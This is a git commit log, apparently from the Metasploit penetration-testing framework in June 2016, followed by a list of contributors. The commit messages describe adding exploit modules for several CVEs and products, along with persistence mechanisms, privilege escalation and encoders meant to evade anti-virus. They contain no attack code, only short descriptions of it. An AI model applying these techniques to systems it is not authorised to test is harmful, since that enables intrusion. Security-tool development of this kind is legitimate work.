version of ninja forms (such as 2.9.27), the nonce is found in a
hidden input instead of the JavaScript code, which actually causes
an undefined method 'gsub' bug in the module.
Fix #7022
2016-06-30 11:15:38 -05:00
afbeb2b668
Land #7023 , fixes for swagger exploit
...
Thanks @sdavis-r7!
See #7015 as well.
2016-06-30 10:54:34 -04:00
d1281b6594
Chmod to remove the exec bit.
2016-06-30 10:43:46 -04:00
068a4007de
Riverbed SteelCentral NetProfiler & NetExpress Exploit Module
...
Changes to be committed:
new file: modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
2016-06-29 22:27:40 -04:00
8a777bec41
Forget to rename function after msftidy correction
2016-06-29 23:30:48 +02:00
c489c5ce3e
Add two x64 encoders to improve anti-virus evasion
2016-06-29 23:11:24 +02:00
68bd4e2375
Fire and forget the shell
...
Edge case where reverse_perl returns 302 when app is unconfigured.
2016-06-29 14:51:05 -05:00
d414ea59c3
Remove bash dependency. Oops.
2016-06-28 22:39:45 -05:00
3d93c55174
move sshfactory into a mixin method
...
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention
MS-1688
2016-06-28 15:23:12 -05:00
4e63591ce8
Use the proper Author key, not Authors
2016-06-28 15:21:19 -05:00
ee2d1d4fdc
Merge branch 'master' into feature/MS-1688/net-ssh-cleanup
2016-06-28 15:00:35 -05:00
97f9ca4028
Merge branch 'master' into egypt/ruby-ntlm
2016-06-28 14:14:56 -05:00
d5d0b9e9b8
Revert "Land #6729 , Speed up the datastore"
...
This reverts commit c6b1955a5a4fb7472391
2016-06-28 13:39:52 -05:00
5f044ffda0
s/print_warning/print_error.
2016-06-28 10:26:23 -05:00
0635fee820
Move some log lines to vprint_status.
2016-06-28 03:28:41 -05:00
6c11692b04
Add privilege escalation for host users that can access the docker daemon.
2016-06-28 03:24:41 -05:00
fcf8cda22f
Add basic module for CVE-2016-2098
...
ActionPack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2
implement unsafe dynamic rendering of inline content such that
passing ERB wrapped Ruby code leads to remote execution.
This module only implements the Ruby payloads, but can easily
be extended to use system calls to execute native/alternate
payload types as well.
Test Procedures:
Clone https://github.com/hderms/dh-CVE_2016_2098
Run bundle install to match gem versions to those in lockfile
Run the rails server and configure the metasploit module:
Set TARGETURI to /exploits
Configure payload and handler options
Execute the module, move on to post-exp
2016-06-28 03:28:16 -04:00
5f08591fef
Add Nagios XI exploit
2016-06-27 15:17:18 -05:00
2480781409
pesky pry.
2016-06-27 01:55:49 -04:00
c2b4e22b46
updated with discovered changes from k kali & documentation update changes requested.
2016-06-27 01:53:20 -04:00
1c20122648
fedora compatibility, added naming options
2016-06-25 08:43:55 -04:00
058115c21f
Land #7015 , sdavis' swagger exploit
2016-06-24 16:13:51 -05:00
15a1a9ed71
Raise if payload.arch doesn't match expected
...
This is necessary when payload is a generic/* since we can't actually
figure out what we need the prefix/suffix to be because the generics are
a pain to extract the arch/platform info out of.
Also remove some unnecessary options.
2016-06-24 16:08:47 -05:00
409e26351b
remove test module
...
sponge left in patient
2016-06-24 15:12:47 -05:00
6c3871bd0c
update ssh modules to use new SSHFactory
...
updated all of our SSh based module to use the
new SSHFactory class to plug Rex::Sockets into
Net::SSH
MS-1688
2016-06-24 13:55:28 -05:00
5bc513d6cd
get ssh sessions working properly
...
ssh sessions now working correctly
MD-1688
2016-06-24 12:14:48 -05:00
9f280d714e
Land #6994 , NetBIOS Name Brute Force Spoofing modules
2016-06-23 17:54:51 -05:00
3fb9eae687
EOL space if a ruby devil.
2016-06-23 15:40:16 -07:00
b38b116c9a
@ePaul comments added to description.
2016-06-23 15:33:11 -07:00
08d08d2c95
Fix Java payload generator
2016-06-23 14:51:26 -05:00
464808d825
First, put the RC data in the module proper
2016-06-23 14:43:37 -05:00
92c70dab6f
Real array, and fix PHP
2016-06-23 13:22:21 -05:00
ffabf26593
No Automatic target.
2016-06-23 12:50:23 -05:00
7a36d03fe3
Trying multi arch
2016-06-23 12:34:51 -05:00
47674c77ad
chmod 644 swagger_param_inject.rb
2016-06-23 11:49:16 -04:00
fbd0bc4308
updated as per @egypt & @todb-r7 recommendations.
2016-06-23 11:41:54 -04:00
40d7de05ef
Fix Payload Generation
...
Payload generation now only occurs once and function 'setup_pay'
removed. Payload is generated with cmd_psh_payload and is mutated to
fit dropped text file.
2016-06-23 11:20:22 -04:00
fc79f3a2a9
Modify for only NodeJS
...
Not sure if we can do multiple arch's in the same module. Doesn't look
like it's possible today.
See rapid7#7015
2016-06-23 10:14:57 -05:00
579a3bcf7c
default payload is NOT text based, so do nothing with it.
2016-06-23 07:00:14 -07:00
47e4321424
CVE-2016-5641
2016-06-23 06:09:37 -07:00
18a3bf5f62
service persistence
2016-06-22 19:22:18 -04:00
048741660c
Land #6980 , Add ClamAV Remote Command Transmitter
2016-06-22 15:50:45 -05:00
3e94abe555
put net:ssh::commandstream back
...
this was apparently our own creation for doing
ssh sessions
MD-1688
2016-06-22 15:02:36 -05:00
6072697126
continued
2016-06-22 14:54:00 -05:00
140621ad9b
start to move to canonical net-ssh
...
removed vendored net::ssh
pulled in net:ssh gem
made Rex::Socket::SSHFactory clas to bridge rex sockets in
Renamed getpeername to getpeername-as_array to not override
core socket behaviour
MS-1688
2016-06-22 14:52:33 -05:00
de5152401a
Land #6992 , Add tiki calendar exec exploit
2016-06-22 11:18:14 -05:00
8697d3d6fb
Update tiki_calendar_exec module and documentation
2016-06-22 11:17:45 -05:00
07f7e5e148
Convert non-loginscanner MSSQL to rubyntlm
2016-06-22 10:15:22 -05:00
df1a9bee13
Move ps1, Use Env var, Fix license, New Cleanup
...
MS16-032 ps1 moved to external file. This ps1 will now detect windir
to find cmd.exe. The module now also detects windir to find
powershell.exe. The license is now BSD_LICENSE, and the required
copyright has been moved to the ps1. The previous optional cleanup stage
is now standard. The optional 'W_PATH' assignment is corrected to
select the user's variable unless 'W_PATH' is nil.
2016-06-22 09:25:48 -04:00
0f2c1d886c
append over read and write
2016-06-21 16:56:34 -04:00
42697b46ac
append over read and write
2016-06-21 16:52:40 -04:00
9cb57d78d7
updated check and docs that 14.2 may not be vuln
2016-06-21 16:48:09 -04:00
81f30ca962
Land #6966 , Microsoft Office Trusted Locations Enumeration
2016-06-21 21:45:39 +01:00
b9d0bcc193
Add MS16-032 Local Priv Esc Exploit to tree
...
This module will use the powershell port of ms16-032 created by
@FuzzySec. All payloads are pushed to a compress powershell script in a
plain text file on the disk to execute.
2016-06-21 14:56:12 -04:00
c7bacebd5b
slight issues found by void-in
2016-06-21 05:12:10 -04:00
4b8f572976
cron persistence
2016-06-20 21:45:04 -04:00
c50f935412
shell > cmd all day
2016-06-20 17:59:01 -04:00
15a3d739c0
fix per wchen
2016-06-20 17:57:10 -04:00
3f9d0630ce
Merge remote-tracking branch 'upstream/pr/6955' into land-6955
2016-06-20 13:14:37 -05:00
e692e32dae
Land #6955 , DarkComet C2 Arbitrary File Download Exploit
2016-06-20 12:03:38 -05:00
c816af1e4d
Merge remote-tracking branch 'upstream/pr/6955' into land-6955
2016-06-20 12:00:19 -05:00
2b85b210e9
Fix #6984 , Undefined method 'winver' in ms10_092_schelevator
...
Fix #6984
2016-06-20 10:37:41 -05:00
95517b4a45
Avoid exception on missing key in prefs.
2016-06-20 09:26:10 -05:00
6cb2a6970e
Fix unused SessionType in two modules
...
Pretty sure it should be "shell."
2016-06-19 23:41:34 -05:00
6905a29b10
sshkey persistence
2016-06-19 22:40:03 -04:00
856a4c7684
Reference BadTunnel (appropriate for the nat module)
2016-06-19 20:50:12 -05:00
6fe7698b13
follow redirect automatically
2016-06-19 20:24:54 -04:00
a84614f2c0
Whitespace only
2016-06-19 18:44:32 -05:00
ce7c6496dd
Rework to clarify that this a brute force spoof, unrelated to BadTunnel
2016-06-19 13:36:39 -05:00
Brent Cook
wchen-r7
Pedro Ribeiro
Justin Steven
nixawk
aushack
Tijl Deneut
scriptjunkie
Agora Security
William Vu
Brendan
james-otten
catatonic
EgiX
Mehmet Ince
Jon Hart
Brandon Perry
bigendian smalls
fullmetalcache
h00die
Pearce Barry
Louis Sato
David Maloney
Jay Turla
William Webb
Brent Cook
Yorick Koster
Yorick Koster
Steven Seeley
James Lee
Andrew Smith
Robert Kugler
Josh Hale
forzoni
RageLtMan
ktreimann
thao doan
benpturner
khr0x40sh
Francesco
sho-luv
Adam Cammack
agix
Clément Notin
Stephen Deck
Hans Jerry Illikainen
Tod Beardsley
Scott Lee Davis
Meatballs
HD Moore